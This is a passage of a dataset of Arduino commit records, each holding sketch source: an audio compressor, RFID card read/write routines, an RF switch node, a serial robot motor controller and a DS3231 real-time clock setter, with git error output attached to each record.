s->print(attack_1);\n s->print(\" Release: \");\n s->println(decay_1); \n};\n\/* fscale\n Floating Point Autoscale Function V0.1\n Paul Badger 2007\n Modified from code by Greg Shakar\n\n This function will scale one set of floating point numbers (range) to another set of floating point numbers (range)\n It has a \"curve\" parameter so that it can be made to favor either the end of the output. (Logarithmic mapping)\n*\/\nfloat fscale( float originalMin, float originalMax, float newBegin, float\nnewEnd, float inputValue, float curve){\n\n float OriginalRange = 0;\n float NewRange = 0;\n float zeroRefCurVal = 0;\n float normalizedCurVal = 0;\n float rangedValue = 0;\n boolean invFlag = 0;\n\n\n \/\/ condition curve parameter\n \/\/ limit range\n\n if (curve > 10) curve = 10;\n if (curve < -10) curve = -10;\n\n curve = (curve * -.1) ; \/\/ - invert and scale - this seems more intuitive - postive numbers give more weight to high end on output \n curve = pow(10, curve); \/\/ convert linear scale into lograthimic exponent for other pow function\n\n \/*\n Serial.println(curve * 100, DEC); \/\/ multply by 100 to preserve resolution \n Serial.println(); \n *\/\n\n \/\/ Check for out of range inputValues\n if (inputValue < originalMin) {\n inputValue = originalMin;\n }\n if (inputValue > originalMax) {\n inputValue = originalMax;\n }\n\n \/\/ Zero Refference the values\n OriginalRange = originalMax - originalMin;\n\n if (newEnd > newBegin){ \n NewRange = newEnd - newBegin;\n }\n else\n {\n NewRange = newBegin - newEnd; \n invFlag = 1;\n }\n\n zeroRefCurVal = inputValue - originalMin;\n normalizedCurVal = zeroRefCurVal \/ OriginalRange; \/\/ normalize to 0 - 1 float\n\n \/*\n Serial.print(OriginalRange, DEC); \n Serial.print(\" \"); \n Serial.print(NewRange, DEC); \n Serial.print(\" \"); \n Serial.println(zeroRefCurVal, DEC); \n Serial.println(); \n *\/\n\n \/\/ Check for originalMin > originalMax - the math for all other cases i.e. negative numbers seems to work out fine \n if (originalMin > originalMax ) {\n return 0;\n }\n\n if (invFlag == 0){\n rangedValue = (pow(normalizedCurVal, curve) * NewRange) + newBegin;\n\n }\n else \/\/ invert the ranges\n { \n rangedValue = newBegin - (pow(normalizedCurVal, curve) * NewRange); \n }\n\n return rangedValue;\n}\n\n\/\/************EEPROM functions****************\n\/\/This function will write a 2 byte (16bit) uint16_t to the eeprom at\n\/\/the specified address to address + 1.\nvoid EEPROMWrite_uint16_t(int address, uint16_t value)\n {\n \/\/Decomposition from a uint16_t to 2 bytes by using bitshift.\n \/\/One = Most significant -> Two = Least significant byte\n byte two = ((value >> 0xFF) & 0xFF);\n byte one = ((value >> 8) & 0xFF);\n\n \/\/Write the 2 bytes into the eeprom memory.\n EEPROM.write(address, two);\n EEPROM.write(address + 1, one);\n }\n \nlong EEPROMRead_uint16_t(int address)\n {\n \/\/Read the 2 bytes from the eeprom memory.\n\n uint16_t two = EEPROM.read(address);\n uint16_t one = EEPROM.read(address + 1);\n\n \/\/Return the recomposed uint16_t by using bitshift.\n return ((two << 16) & 0xFF) + ((one << 24) & 0xFFFF);\n } \n\n\nvoid printCPUandMemoryUsage(Stream *s) {\n s->print(\"Usage\/Max: \");\n s->print(\"comp1 CPU = \"); s->print(comp1.processorUsage()); s->print(\"\/\"); s->print(comp1.processorUsageMax()); s->print(\", \");\n s->print(\"all CPU = \" ); s->print(AudioProcessorUsage()); s->print(\"\/\"); s->print(AudioProcessorUsageMax()); s->print(\", \");\n s->print(\"Int16 Mem = \"); s->print(AudioMemoryUsage()); s->print(\"\/\"); s->print(AudioMemoryUsageMax()); s->print(\", \");\n s->print(\"Float Mem = \"); s->print(AudioMemoryUsage_F32()); s->print(\"\/\"); s->print(AudioMemoryUsageMax_F32()); s->print(\", \");\n s->println();\n}; \n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nfloat mapfloat(float x, float in_min, float in_max, float out_min, float out_max)\n{\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\n\n\/\/define a function to configure the left and right compressors\nvoid setupMyCompressors(boolean use_HP_filter, float knee_dBFS, float comp_ratio, float attack_sec, float release_sec) {\n comp1.enableHPFilter(use_HP_filter); comp2.enableHPFilter(use_HP_filter);\n comp1.setThresh_dBFS(knee_dBFS); comp2.setThresh_dBFS(knee_dBFS);\n comp1.setCompressionRatio(comp_ratio); comp2.setCompressionRatio(comp_ratio);\n\n float fs_Hz = AUDIO_SAMPLE_RATE;\n comp1.setAttack_sec(attack_sec, fs_Hz); comp2.setAttack_sec(attack_sec, fs_Hz);\n comp1.setRelease_sec(release_sec, fs_Hz); comp2.setRelease_sec(release_sec, fs_Hz);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GrompressorFloat_1_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2c7dd805d16831eb08c689dfc7d1138b006d9e46","subject":"Moved RFID related functions to separate file","message":"Moved RFID related functions to separate file\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"module\/module_rfid.ino","new_file":"module\/module_rfid.ino","new_contents":"\/*\n\tAll RFID related functions\n*\/\n\t\nbool getResponse(unsigned char response[]) {\n\tint i = 0;\n\n\twhile (RDM880.available()) {\n\t\tresponse[i] = RDM880.read();\n\t\t\/*Serial.print(response[i], HEX);\n\t\tSerial.print(\" \");*\/\n\t\ti++;\n\t}\n\t\/\/Serial.println();\n\n\t\/\/ 3rd byte of response packet is the STATUS byte, 0x00 means OK\n\tif (response[statusOffset] == 0x00)\n\t\treturn true;\n\telse\n\t\treturn false;\n}\n\/*\n\tReads time data from card and stores it in one 4 byte chunk\n\n\tParam: readData - array containing all bytes read from card\n\n\tFunction: Time is encoded as four 1 byte chunks 0xAA 0xBB 0xCC 0xDD.\n\t\t\t existingTime is one 4 byte chuck 0x00000000\n\t\t\t This function XORs the most significant byte with each time byte,\n\t\t\t and left shifts it 1 byte size every iteration.\n\t\t\t First iteration: 0x000000AA, Second iteration: 0x0000AABB, etc.\n\n\tReturns: existing time from card\n*\/\nunsigned long getTime (unsigned char readData[]) {\n\tint i = 0;\n\tunsigned long existingTime = 0;\n\n\tfor (i = 0; i < numTimeBytes; i++) {\n\t\texistingTime = (existingTime << 8) ^ readData[i + timeOffset];\n\t}\n\n\treturn existingTime;\n\n}\n\n\/*\n\tCalculates the checksum of a packet to ensure data integrity.\n\n\tParam: A[] \t\t- array containing all bytes in a packet\n\t\t numBytes - number of bytes in the array\n\n\tReturns: checksum\n\n*\/\nunsigned char checksum(unsigned char A[], int numBytes) {\n\tint i = 0;\n\tunsigned char BCC = A[i];\n\n\tfor(i = 1; i < numBytes; i++) {\n\t\tBCC = BCC ^ A[i];\n\t}\n\n\treturn BCC;\n}\n\n\/*\n\tGets the serial number of an RFID tag.\n\n\tPost: Response packet contains OK status and serial number of the tag selected\n\n*\/\nvoid getSerialNumber(void) {\n\tunsigned char A[] = { 0x00, 0x03, CMD_GET_SNR, 0x26, 0x00 };\n\tunsigned char BCC = checksum( A, sizeof(A)\/sizeof(A[0]) );\n\tunsigned char CMD[] = { STX, 0x00, 0x03, CMD_GET_SNR, 0x26, 0x00, BCC, ETX };\n\tRDM880.write( CMD, sizeof(CMD)\/sizeof(CMD[0]) );\n}\n\n\/*\n\tWrites to the selected RFID tag.\n\n\tParam: numBlocks \t- number of 16 byte blocks to be written to (max 3)\n\t\t startAddress - address of the first block (0 - 63)\n\t\t time \t\t- data to be written\n\t\n\tPost: Response packet contains OK status and serial number of the tag written to.\n\n\tNOTE: Block 0 contains manufacturer data. \n\t\t Sector trailers (multiples of 4) should also not be written to.\n\t\t i.e. Block 3, 7 and 11 are sector trailers that contain authentication keys.\n\n*\/\n\nvoid writeCard(unsigned char numBlocks, unsigned char startAddress, unsigned long time) {\n\tint i = 0;\n\tint j = 24;\n\n\t\/\/ prepare data to be written, time is in format 0xAABBCCDD\n\t\/\/ timeByte is in format { 0xAA, 0xBB, 0xCC, 0xDD }\n\tunsigned char timeByte[numTimeBytes];\n\tfor(i = 0; i < numTimeBytes; i++) {\n\t\ttimeByte[i] = (time >> j) & MSB;\n\t\tj -= 8;\n\t}\n\n\tunsigned char A[] = { 0x00, 0x1A, CMD_WRITE, 0x01, numBlocks, startAddress,\n\t\t\t\t\t\tkeyA[0], keyA[1], keyA[2], keyA[3], keyA[4], keyA[5],\n\t\t\t\t\t\t0xDD, 0xA1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n\t\t\t\t\t\ttimeByte[0], timeByte[1], timeByte[2], timeByte[3] };\n\tunsigned char BCC = checksum( A, sizeof(A)\/sizeof(A[0]) );\n\tunsigned char CMD[] = { STX, 0x00, 0x1A, CMD_WRITE, 0x01, numBlocks, startAddress,\n\t\t\t\t\t\tkeyA[0], keyA[1], keyA[2], keyA[3], keyA[4], keyA[5],\n\t\t\t\t\t\t0xDD, 0xA1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n\t\t\t\t\t\ttimeByte[0], timeByte[1], timeByte[2], timeByte[3],\n\t\t\t\t\t\tBCC, ETX };\n\n\t\/*Serial.print(\"Attempting to write block \");\n\tSerial.println(startAddress);*\/\n\n\tRDM880.write( CMD, sizeof(CMD)\/sizeof(CMD[0]) );\n}\n\n\/*\n\tReads the selected RFID tag.\n\t\n\tParam: numBlocks\t- number of 16 byte blocks to be read (max 3)\n\t\t startAddress - address of first block to read (0 - 63)\n\n\tPost: Response packet contains serial number of selected tag and data.\n\n*\/\nvoid readCard(unsigned char numBlocks, unsigned char startAddress) {\n\tint i = 0;\n\tunsigned char A[] = { 0x00, 0x0A, CMD_READ, 0x01, numBlocks, startAddress,\n\t\t\t\t\t\tkeyA[0], keyA[1], keyA[2], keyA[3], keyA[4], keyA[5] };\n\tunsigned char BCC = checksum( A, sizeof(A)\/sizeof(A[0]) );\n\tunsigned char CMD[] = { STX, 0x00, 0x0A, CMD_READ, 0x01, numBlocks, startAddress,\n keyA[0], keyA[1], keyA[2], keyA[3], keyA[4], keyA[5], BCC, ETX };\n\n\tSerial.println(\"Reading data...\");\n\t\/\/Serial.println(startAddress);\n\n\tRDM880.write( CMD, sizeof(CMD)\/sizeof(CMD[0]) );\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'module\/module_rfid.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e96e4cd85a644d789d6e535ab6d466163d985695","subject":"Added switch_node_v0_1","message":"Added switch_node_v0_1\n","repos":"brulejr\/sketchbook,brulejr\/sketchbook","old_file":"switch_node_v0_1\/switch_node_v0_1.ino","new_file":"switch_node_v0_1\/switch_node_v0_1.ino","new_contents":"\/* -----------------------------------------------------------------------------\n Switch Node\n \n Provides control and monitoring of an electrical switch.\n \n Circuit:\n * RFM12B attached to digital pins 10, 11, 12, 13\n * Battery voltage monitor attached to analog pin 0\n * Switch connected to digital pin 3\n * RF Status LED attached to digital pin 9\n \n Created 28-MAY-2014 by Jon Brule\n----------------------------------------------------------------------------- *\/\n\n#include <JeeLib.h>\n#include <avr\/sleep.h>\n\n#define VERSION \"v0.1\"\n\n#define SERIAL 1 \/\/ set to 1 to also report readings on the serial port\n#define DEBUG 1 \/\/ set to 1 to display each loop() run\n#define BAUD_RATE 57600\n\n#define APIN_BATTERY 0 \/\/ data connection for battery\n#define DPIN_CTRL_LED 3 \/\/ LED simulating the swtch\n#define DPIN_RF_LED 9 \/\/ led indicating rf traffic\n#define LED_DELAY 500\n#define VDD_RATIO 1.622\n\n#define MEASURE_PERIOD 100 \/\/ how often to measure, in tenths of seconds\n#define RETRY_PERIOD 10 \/\/ how soon to retry if ACK didn't come in\n#define RETRY_LIMIT 5 \/\/ maximum number of times to retry\n#define ACK_TIME 10 \/\/ number of milliseconds to wait for an ack\n#define REPORT_EVERY 2 \/\/ report every N measurement cycles\n#define SMOOTH 3 \/\/ smoothing factor used for running averages\n\n#define NODEID 3 \/\/ node ID used for this unit\n#define NETWORKID 99\n#define FREQUENCY RF12_915MHZ\n\n#define RAW_LENGTH 16\n#define SWITCH_ZONE 0x02\n#define CMD_TYPE 0x01\n#define DATA_TYPE 0x02\n\n#define CMD_ON 0x01\n#define CMD_OFF 0x02\n\n\/\/ set the sync mode to 2 if the fuses are still the Arduino default\n\/\/ mode 3 (full powerdown) can only be used with 258 CK startup fuses\n#define RADIO_SYNC_MODE 2\n\nenum { MEASURE, REPORT, TASK_END };\n\nScheduler scheduler(TASK_END);\n\nstatic byte reportCount; \/\/ count up until next report, i.e. packet send\n\n\/\/ container for command data\nstruct CommandData {\n union {\n byte raw[RAW_LENGTH];\n struct {\n byte type; \/\/ command\n byte state; \/\/ swtich state: 0 or 1\n };\n };\n};\nCommandData cmdData;\n\n\/\/ container for sensor data\nstruct SensorData {\n byte zone;\n byte type;\n byte network;\n byte node;\n union {\n byte raw[RAW_LENGTH];\n struct {\n byte switchState; \/\/ switch state: 0 or 1\n int battery; \/\/ battery voltage\n };\n };\n};\nSensorData sensorData;\n\n\/\/ has to be defined because we're using the watchdog for low-power waiting\nISR(WDT_vect) { Sleepy::watchdogEvent(); }\n\nbyte firstTime = true;\n\n\/\/------------------------------------------------------------------------------\n\/\/ setup the arduino board\n\/\/\nvoid setup() {\n \n #if SERIAL || DEBUG\n Serial.begin(BAUD_RATE);\n Serial.print(\"\\n[switchNode - \");\n Serial.print(VERSION);\n Serial.println(\"]\");\n serialFlush();\n #endif\n \n setup_sensors();\n \n pinMode(DPIN_RF_LED, OUTPUT);\n\n rf12_initialize(NODEID, FREQUENCY, NETWORKID);\n rf12_sleep(RF12_SLEEP);\n \n reportCount = REPORT_EVERY; \/\/ report right away for easy debugging\n scheduler.timer(MEASURE, 0); \/\/ start the measurement loop going\n \n sensorData.zone = SWITCH_ZONE;\n sensorData.type = DATA_TYPE;\n sensorData.network = NETWORKID;\n sensorData.node = NODEID;\n for (int i = 0; i< RAW_LENGTH; i++) {\n sensorData.raw[i] = 0x00;\n }\n}\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ main processing loop\n\/\/\nvoid loop() {\n \n switch (scheduler.pollWaiting()) {\n\n case MEASURE:\n \/\/ reschedule these measurements periodically\n scheduler.timer(MEASURE, MEASURE_PERIOD);\n \n doMeasure();\n\n \/\/ every so often, a report needs to be sent out\n if (++reportCount >= REPORT_EVERY) {\n reportCount = 0;\n scheduler.timer(REPORT, 0);\n }\n break;\n \n case REPORT:\n doReport();\n break;\n }\n \n if (rf12_recvDone() && rf12_crc == 0) {\n for (byte i = 0; i < rf12_len; ++i) {\n if (i < RAW_LENGTH) {\n cmdData.raw[i] = rf12_data[i];\n }\n }\n handleCommand();\n }\n \n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ blinks the rf led pin\n\/\/\nstatic void blink_rf_led(byte pin, int delay_ms) {\n digitalWrite(pin, HIGH);\n delay(delay_ms);\n digitalWrite(pin, LOW);\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ flushes the serial port\n\/\/\nstatic void serialFlush () {\n #if ARDUINO >= 100\n Serial.flush();\n #endif \n delay(2); \/\/ make sure tx buf is empty before going back to sleep\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/\n\/\/\nstatic void handleCommand() {\n switch (cmdData.type) {\n case CMD_ON:\n digitalWrite(DPIN_CTRL_LED, HIGH);\n break;\n case CMD_OFF:\n digitalWrite(DPIN_CTRL_LED, LOW);\n break;\n }\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ utility code to perform simple smoothing as a running average\n\/\/\nstatic int smoothedAverage(int prev, int next, byte firstTime =0) {\n return (firstTime) ? next : ((SMOOTH - 1) * prev + next + SMOOTH \/ 2) \/ SMOOTH;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ readout all the sensors and other values\n\/\/\nstatic void doMeasure() {\n \n \/\/ read switch status\n sensorData.switchState = digitalRead(DPIN_CTRL_LED);\n \n \/\/ read battery voltage\n int val = analogRead(APIN_BATTERY);\n int battery = int(val * 0.00488 * VDD_RATIO * 10);\n sensorData.battery = smoothedAverage(sensorData.battery, battery, firstTime);\n \n firstTime = false;\n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ generate periodic report (i.e. send out a packet and optionally report on \n\/\/ serial port)\n\/\/\nstatic void doReport() {\n \n rf12_sleep(RF12_WAKEUP);\n rf12_sendNow(0, &sensorData, sizeof sensorData);\n rf12_sendWait(RADIO_SYNC_MODE);\n rf12_sleep(RF12_SLEEP);\n blink_rf_led(DPIN_RF_LED, LED_DELAY);\n\n #if SERIAL\n Serial.print(\"SWITCH \");\n Serial.print((int) sensorData.switchState);\n Serial.print(' ');\n Serial.print((int) sensorData.battery);\n Serial.println();\n serialFlush();\n #endif\n \n}\n\n\/\/------------------------------------------------------------------------------\n\/\/ Initializes the sensors.\n\/\/\nstatic void setup_sensors() {\n pinMode(DPIN_CTRL_LED, INPUT);\n pinMode(DPIN_RF_LED, INPUT);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'switch_node_v0_1\/switch_node_v0_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"13311699fb81a89f35390d0a9ad09849202c27d7","subject":"Create Human_tracker_arduino.ino","message":"Create Human_tracker_arduino.ino","repos":"ankitdhall\/Arduino-OpenCV-Human-Follower,ankitdhall\/Arduino-OpenCV-Face-Follower","old_file":"Human_tracker_arduino.ino","new_file":"Human_tracker_arduino.ino","new_contents":"\/\/Define pin numbers\n\n\/\/right motor\nint m1f = 10; \nint m1r = 9;\n\/\/left motor\nint m2f = 6; \nint m2r = 5;\nint led = 13;\nchar value;\nint val[3];\nint len;\nint direc;\n\n\nvoid setup()\n{\n \/\/start serial communication at Baud rate of 9600\n Serial.begin(9600);\n pinMode(m1f, OUTPUT);\n pinMode(m1r, OUTPUT);\n pinMode(m2f, OUTPUT);\n pinMode(m2r, OUTPUT);\n pinMode(led, OUTPUT);\n digitalWrite(led, HIGH);\n}\n\nvoid execute()\n{\n int no;\n int i = 0;\n\n \/\/convert ASCII value from serial buffer into int\n no = value - '0';\n \/\/Serial.println(no);\n\n int a, b, c, d;\n\n \/*\n \"\"\"\n Direction control Index:\n\n '<' , '>' are the frame check bits for serial communication\n\n Numbers represent the direction to be moved as per their \tposition on numpad\n 1: Back Left\n 2: Back\n 3: Back right\n 4: Left\n 5: Stay still\n 6: Right\n 7: Front Left\n 8: Forward\n 9: Forward right\n \"\"\"\n *\/\n\n switch (no)\n {\n case 0:\n a = 0; b = 100; c = 100; d = 0;\n break;\n case 3:\n a = 0; b = 255; c = 0; d = 100;\n break;\n case 2:\n a = 0; b = 255; c = 0; d = 255;\n break;\n case 1:\n a = 0; b = 100; c = 0; d = 255;\n break;\n case 4:\n a = 255; b = 0; c = 0; d = 0;\n break;\n case 5:\n a = 0; b = 0; c = 0; d = 0;\n break;\n case 6:\n a = 0; b = 0; c = 255; d = 0;\n break;\n case 7:\n a = 255; b = 0; c = 100; d = 0;\n break;\n case 8:\n a = 150; b = 0; c = 150; d = 0;\n break;\n case 9:\n a = 100; b = 0; c = 255; d = 0;\n break;\n }\n \n analogWrite(m1f, a);\n analogWrite(m1r, b);\n analogWrite(m2f, c);\n analogWrite(m2r, d);\n \/\/delay(255);\n}\n\nvoid loop()\n{\n if (Serial.available())\n {\n \/\/Check for frame control bits\n char ch = Serial.read();\n if (ch == '<')\n {\n len = 0;\n }\n else if (ch == '>')\n {\n execute();\n \/\/Serial.println(value);\n len = 1;\n }\n else if (len == 0)\n value = ch;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Human_tracker_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c488dd7609494426f621706441b28a97505947e0","subject":"Add files via upload","message":"Add files via upload\n\nInitial commit","repos":"otryti\/AquaLedDimControl","old_file":"SetRTC.ino","new_file":"SetRTC.ino","new_contents":"#include \"Arduino.h\"\r\n#include \"Wire.h\"\r\n\r\n#define DS3231_I2C_ADDRESS 104\r\n\r\n\/\/ Acknowledgement: The code for reading and writing the DS3231 RTC is copied from http:\/\/www.goodliffe.org.uk\/arduino\/i2c_devices.php\r\n\r\n\/\/ SCL - pin A5\r\n\/\/ SDA - pin A4\r\n\/\/ To set the clock, run the sketch and use the serial monitor.\r\n\/\/ Enter T1124154091014; the code will read this and set the clock. See the code for full details.\r\n\/\/\r\nbyte second, minute, hour, dayOfWeek, day, month, year;\r\nboolean daylightSavingTime;\r\nchar weekDay[4];\r\n\r\nbyte tMSB, tLSB;\r\nfloat temp3231;\r\n\r\nvoid setup() {\r\n\tWire.begin();\r\n\tSerial.begin(9600);\r\n}\r\n\r\nvoid printDigits(byte val, String separator) {\r\n\tif (val < 10) {\r\n\t\tSerial.print(\"0\");\r\n\t}\r\n\tSerial.print(val);\r\n\tSerial.print(separator);\r\n}\r\n\r\nvoid loop() {\r\n\r\n\twatchConsole();\r\n\r\n\tget3231Date();\r\n\r\n\tSerial.print(weekDay);\r\n\tSerial.print(\", \");\r\n\tprintDigits(day, \"\/\");\r\n\tprintDigits(month, \"-\");\r\n\tprintDigits(year, \" - \");\r\n\tprintDigits(hour, \":\");\r\n\tprintDigits(minute, \":\");\r\n\tprintDigits(second, \" - Temp: \");\r\n\tSerial.print(get3231Temp());\r\n\tif (daylightSavingTime) {\r\n\t\tSerial.print(\" ST\");\r\n\t}\r\n\tSerial.println();\r\n\r\n\tdelay(1000);\r\n}\r\n\r\n\/\/ Convert normal decimal numbers to binary coded decimal\r\nbyte decToBcd(byte val) {\r\n\treturn ((val \/ 10 * 16) + (val % 10));\r\n}\r\n\r\nvoid watchConsole() {\r\n\tif (Serial.available()) { \/\/ Look for char in serial queue and process if found\r\n\t\tif (Serial.read() == 84) { \/\/If command = \"T\" Set Date\r\n\t\t\tset3231Date();\r\n\t\t\tget3231Date();\r\n\t\t\tSerial.println(\" \");\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid set3231Date() {\r\n\/\/T(sec)(min)(hour)(dayOfWeek)(dayOfMonth)(month)(year)\r\n\/\/T(00-59)(00-59)(00-23)(1-7)(01-31)(01-12)(00-99)\r\n\/\/Example: 02-Feb-09 @ 19:57:11 for the 3rd day of the week -> T1157193020209\r\n\/\/Sample dates for testing:\r\n\/\/ T0000005250316\r\n\/\/ T3059017270316 - 30 seconds before start of DST\r\n\/\/ T3059017301016 - 30 seconds before end of DST\r\n\/\/ T3059225010716 - 30 seconds before new day with DST\r\n\/\/ T3059224300616 - 30 seconds before new day on the last day of a month with DST\r\n\/\/ T3059234300616 - 30 seconds before new day on the last day of a month with DST, real time on timer chip\r\n\/\/ T1124154091014\r\n\tsecond = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48)); \/\/ Use of (byte) type casting and ascii math to achieve result.\r\n\tminute = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48));\r\n\thour = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48));\r\n\tdayOfWeek = (byte) (Serial.read() - 48);\r\n\tday = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48));\r\n\tmonth = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48));\r\n\tyear = (byte) ((Serial.read() - 48) * 10 + (Serial.read() - 48));\r\n\tWire.beginTransmission(DS3231_I2C_ADDRESS);\r\n\tWire.write(0x00);\r\n\tWire.write(decToBcd(second));\r\n\tWire.write(decToBcd(minute));\r\n\tWire.write(decToBcd(hour));\r\n\tWire.write(decToBcd(dayOfWeek));\r\n\tWire.write(decToBcd(day));\r\n\tWire.write(decToBcd(month));\r\n\tWire.write(decToBcd(year));\r\n\tWire.endTransmission();\r\n}\r\n\r\nbyte dateSunday() {\r\n\tbyte sunday = day - dayOfWeek;\r\n\tif (sunday < 25) {\r\n\t\tsunday += 7;\r\n\t}\r\n\treturn sunday;\r\n}\r\n\r\nboolean isDST() {\r\n\tswitch (month) {\r\n\tcase 1:\r\n\tcase 2:\r\n\t\treturn false;\r\n\tcase 3:\r\n\t\tif (day < 25) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tif (dayOfWeek == 7) {\r\n\t\t\treturn (hour < 2) ? false : true;\r\n\t\t}\r\n\t\treturn (day < dateSunday()) ? false : true;\r\n\tcase 10:\r\n\t\tif (day < 25) {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\tif (dayOfWeek == 7) {\r\n\t\t\treturn (hour >= 2) ? false : true;\r\n\t\t}\r\n\t\treturn (day > dateSunday()) ? false : true;\r\n\tcase 11:\r\n\tcase 12:\r\n\t\treturn false;\r\n\tdefault: return true;\t\/\/ For dst, no test for the summer months in the switch.\r\n\t}\r\n}\r\n\r\nbyte daysInMonth[] = {0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\t\/\/ Only months with DST will be used in this array - no need to test for leap year.\r\n\r\nvoid adjustTime() {\t\t\/\/ Adjust for daylight saving time (clock is always winter time)\r\n\tif (daylightSavingTime) {\r\n\t\thour += 1;\r\n\t\tif (hour > 23) {\r\n\t\t\thour = 0;\r\n\t\t\tdayOfWeek++;\r\n\t\t\tif (dayOfWeek > 7) {\r\n\t\t\t\tdayOfWeek = 1;\r\n\t\t\t}\r\n\t\t\tday++;\r\n\t\t\tif (day > daysInMonth[month]) {\r\n\t\t\t\tday = 1;\r\n\t\t\t\tmonth++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid get3231Date() {\r\n\t\/\/ send request to receive data starting at register 0\r\n\tWire.beginTransmission(DS3231_I2C_ADDRESS); \/\/ 104 is DS3231 device address\r\n\tWire.write(0x00); \/\/ start at register 0\r\n\tWire.endTransmission();\r\n\tWire.requestFrom(DS3231_I2C_ADDRESS, 7); \/\/ request seven bytes\r\n\r\n\tif (Wire.available()) {\r\n\t\tsecond = Wire.read(); \/\/ get second\r\n\t\tminute = Wire.read(); \/\/ get minutes\r\n\t\thour = Wire.read(); \/\/ get hour\r\n\t\tdayOfWeek = Wire.read();\r\n\t\tday = Wire.read();\r\n\t\tmonth = Wire.read(); \/\/temp month\r\n\t\tyear = Wire.read();\r\n\r\n\t\tsecond = (((second & B11110000) >> 4) * 10 + (second & B00001111)); \/\/ convert BCD to decimal\r\n\t\tminute = (((minute & B11110000) >> 4) * 10 + (minute & B00001111)); \/\/ convert BCD to decimal\r\n\t\thour = (((hour & B00110000) >> 4) * 10 + (hour & B00001111)); \/\/ convert BCD to decimal (assume 24 hour mode)\r\n\t\tdayOfWeek = (dayOfWeek & B00000111); \/\/ 1-7\r\n\t\tday = (((day & B00110000) >> 4) * 10 + (day & B00001111)); \/\/ 1-31\r\n\t\tmonth = (((month & B00010000) >> 4) * 10 + (month & B00001111)); \/\/msb7 is century overflow\r\n\t\tyear = (((year & B11110000) >> 4) * 10 + (year & B00001111));\r\n\t} else {\r\n\t\t\/\/oh noes, no data!\r\n\t}\r\n\r\n\tdaylightSavingTime = isDST();\r\n\tadjustTime();\r\n\r\n\tswitch (dayOfWeek) {\r\n\tcase 1:\r\n\t\tstrcpy(weekDay, \"Mon\");\r\n\t\tbreak;\r\n\tcase 2:\r\n\t\tstrcpy(weekDay, \"Tue\");\r\n\t\tbreak;\r\n\tcase 3:\r\n\t\tstrcpy(weekDay, \"Wed\");\r\n\t\tbreak;\r\n\tcase 4:\r\n\t\tstrcpy(weekDay, \"Thu\");\r\n\t\tbreak;\r\n\tcase 5:\r\n\t\tstrcpy(weekDay, \"Fri\");\r\n\t\tbreak;\r\n\tcase 6:\r\n\t\tstrcpy(weekDay, \"Sat\");\r\n\t\tbreak;\r\n\tcase 7:\r\n\t\tstrcpy(weekDay, \"Sun\");\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\nfloat get3231Temp() {\r\n\t\/\/temp registers (11h-12h) get updated automatically every 64s\r\n\tWire.beginTransmission(DS3231_I2C_ADDRESS);\r\n\tWire.write(0x11);\r\n\tWire.endTransmission();\r\n\tWire.requestFrom(DS3231_I2C_ADDRESS, 2);\r\n\r\n\tif (Wire.available()) {\r\n\t\ttMSB = Wire.read(); \/\/2's complement int portion\r\n\t\ttLSB = Wire.read(); \/\/fraction portion\r\n\r\n\t\ttemp3231 = (tMSB & B01111111); \/\/do 2's math on Tmsb\r\n\t\ttemp3231 += ((tLSB >> 6) * 0.25); \/\/only care about bits 7 & 8\r\n\t} else {\r\n\t\t\/\/oh noes, no data!\r\n\t}\r\n\r\n\treturn temp3231;\r\n}\r\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SetRTC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c90e6cbf7eb297da09622d45210193aa9ec8979","subject":"Fixed the firmware file","message":"Fixed the firmware file\n","repos":"nathanpc\/miniload","old_file":"Rev B\/electronic_load.ino","new_file":"Rev B\/electronic_load.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Rev' did not match any file(s) known to git\nerror: pathspec 'B\/electronic_load.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c531418698b4911e4f9b03065a9e6a2a223b987","subject":"Delete ESPArto_pinDefDebounced.ino","message":"Delete ESPArto_pinDefDebounced.ino","repos":"philbowles\/esparto,philbowles\/esparto,philbowles\/esparto,philbowles\/esparto","old_file":"examples\/ESPArto_pinDefDebounced\/ESPArto_pinDefDebounced.ino","new_file":"examples\/ESPArto_pinDefDebounced\/ESPArto_pinDefDebounced.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see 